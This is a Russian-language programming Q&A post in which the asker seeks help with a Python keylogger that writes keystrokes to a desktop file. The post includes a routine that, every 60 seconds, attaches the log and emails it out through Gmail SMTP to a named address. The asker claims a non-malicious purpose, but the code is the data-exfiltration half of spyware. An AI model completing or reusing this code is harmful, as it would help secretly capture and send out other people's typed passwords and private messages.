Поместите os.path.expanduser в каталог файлов (python) - PullRequest
0 голосов
/ 02 октября 2018

Я работаю над проектом кейлоггер (не для злонамеренных целей), и я ищу некоторую помощь.Мне нужно создать файл keylog на рабочем столе, поэтому я использую:

file = open(os.path.expanduser("~/Desktop/KeyLog.txt"), 'a')

Но позже мне нужно отправить файл журнала обратно самому себе, используя MIME, и он хочет, чтобы я находился в каталоге расположения файла, чтобы отправить его какВы можете увидеть здесь:

def sendlog():
    threading.Timer(60.0, sendlog).start()
    email_user = 'miku.rebane@gmail.com'
    email_send = 'miku.rebane@gmail.com'
    subject = 'KeyLog'
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To']   = email_send
    msg['Subject'] = subject
    body = 'Log File Attached'
    msg.attach(MIMEText (body, 'plain'))
    filename='C:\\Users\\**USERNAME**\\Desktop\\KeyLog.txt'
    attachment  =open(filename,'rb')
    part = MIMEBase('application','octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',"attachment; filename= "+filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com',587)
    server.starttls()
    server.login(email_user,"mypassword")
    server.sendmail(email_user,email_send,text)
    server.quit()


sendlog()

Что бы я положил в качестве каталога?Я попытался использовать только ~/Desktop/KeyLog.txt в качестве каталога, но это возвращает ошибку, говорящую, что файл или каталог не может быть найден.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...